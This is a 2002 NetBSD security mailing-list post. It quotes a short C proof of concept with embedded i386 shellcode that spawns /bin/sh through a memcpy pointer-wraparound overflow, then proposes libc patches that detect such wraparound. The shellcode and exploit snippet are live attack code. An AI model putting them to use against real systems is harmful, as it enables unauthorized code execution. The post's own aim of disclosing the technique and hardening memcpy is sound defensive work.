Subject: exploit with memcpy()
To: None <tech-userlevel@netbsd.org, tech-security@netbsd.org>
From: TAMURA Kent <kent@netbsd.org>
List: tech-security
Date: 07/02/2002 20:10:31
Compile the following with -O0 and run it on NetBSD/i386:

----------------------------------------------------------------
char buf2[256];
char buf3[16];
char shell[]=
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

int main()
{
    char buf[16];

    memset(buf,'A',sizeof(buf));
    memset(buf2,'B',sizeof(buf2));
    memcpy(buf2+sizeof(buf2)-sizeof(shell),shell,sizeof(shell));
    memset(buf3,0,sizeof(buf3));
    *(int *)&buf3[3] = (int)buf2;
    memcpy(buf+1,buf2,0xfffffff3);
    return 0;
}
----------------------------------------------------------------
(This code is quoted from http://hsj.shadowpenguin.org/index.txt )


The code executes /bin/sh and this is a method used in Apache
exploit.  It doesn't mean memcpy() is vulnerable.  However, we
can protect from this kind of exploit by adding checks to
memcpy/memmove/bcopy like the following.  May I commit it?
(Unfortunately I can't write assembly code for non-i386)


Index: arch/i386/string/bcopy.S
===================================================================
RCS file: /cvsroot/basesrc/lib/libc/arch/i386/string/bcopy.S,v
retrieving revision 1.6
diff -u -u -r1.6 bcopy.S
--- arch/i386/string/bcopy.S	1996/11/12 00:50:06	1.6
+++ arch/i386/string/bcopy.S	2002/07/02 10:53:08
@@ -84,6 +84,10 @@
 1:
 	addl	%ecx,%edi	/* copy backwards. */
 	addl	%ecx,%esi
+	cmpl	12(%esp),%edi	/* check pointer wraparound */
+	jb	2f
+	cmpl	16(%esp),%esi
+	jb	2f
 	std
 	andl	$3,%ecx		/* any fractional bytes? */
 	decl	%edi
@@ -96,6 +100,7 @@
 	subl	$3,%edi
 	rep
 	movsl
+2:
 #if defined(MEMCOPY) || defined(MEMMOVE)
 	movl	12(%esp),%eax
 #endif
Index: string/bcopy.c
===================================================================
RCS file: /cvsroot/basesrc/lib/libc/string/bcopy.c,v
retrieving revision 1.13
diff -u -u -r1.13 bcopy.c
--- string/bcopy.c	2001/02/08 18:33:50	1.13
+++ string/bcopy.c	2002/07/02 10:53:09
@@ -132,6 +133,12 @@
 		 */
 		src += length;
 		dst += length;
+		if ((unsigned long)dst < (unsigned long)dst0
+		    || (unsigned long)src < (unsigned long)src0) {
+			const char *mes = "memcpy/memmove/bcopy: pointer wraparound\n";
+			write(STDERR_FILENO, mes, strlen(mes));
+			goto done;
+		}
 		u = (unsigned long)src;
 		if ((u | (unsigned long)dst) & wmask) {
 			if ((u ^ (unsigned long)dst) & wmask || length <= wsize)


-- 
TAMURA Kent <kent2002@hauN.org> <kent@netbsd.org>